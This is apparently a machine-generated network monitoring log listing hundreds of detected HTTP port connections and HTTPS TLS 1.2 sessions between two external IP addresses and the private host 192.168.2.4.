Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50574
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50576
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50348
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50349
Source: unknown	Network traffic detected: HTTP traffic on port 50505 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50339 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50346
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50345
Source: unknown	Network traffic detected: HTTP traffic on port 50289 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50512 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50358
Source: unknown	Network traffic detected: HTTP traffic on port 50558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50357
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 50524 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 50442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50364
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50363
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50366
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50367
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50535
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50534
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50537
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50536
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50539
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50538
Source: unknown	Network traffic detected: HTTP traffic on port 50571 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50531
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50530
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50536 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50304
Source: unknown	Network traffic detected: HTTP traffic on port 50444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50546
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50545
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50548
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50547
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50540
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50541
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50544
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50543
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50557
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50314
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50556
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50559
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50558
Source: unknown	Network traffic detected: HTTP traffic on port 50548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50551
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50311
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50553
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50310
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50552
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50313
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50555
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50554
Source: unknown	Network traffic detected: HTTP traffic on port 50454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50325
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50569
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50560
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50562
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50322
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50563
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50324
Source: unknown	Network traffic detected: HTTP traffic on port 50488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50566
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50323
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50565
Source: unknown	Network traffic detected: HTTP traffic on port 50290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50296
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50297
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50299
Source: unknown	Network traffic detected: HTTP traffic on port 50389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50377 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 50331 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 50537 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 50390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50515 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50458 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50572 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 50481 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50493
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50496
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50495
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50497
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50261
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50260
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50574 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50263
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50262
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50272
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50271
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50273
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50276
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50275
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50540 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50446 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50287
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50289
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50288
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 50539 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50290
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50562 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50491 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50552 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50311 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50357 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50461 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50564 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50529 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50402 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50473 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50345 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50379 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50323 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50436 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 50296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50509 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 50367 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 50438 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 50493 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50554 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50519 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50576 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50471 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50520 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862

Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49906 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49917 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49928 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49936 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49948 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49974 version: TLS 1.2
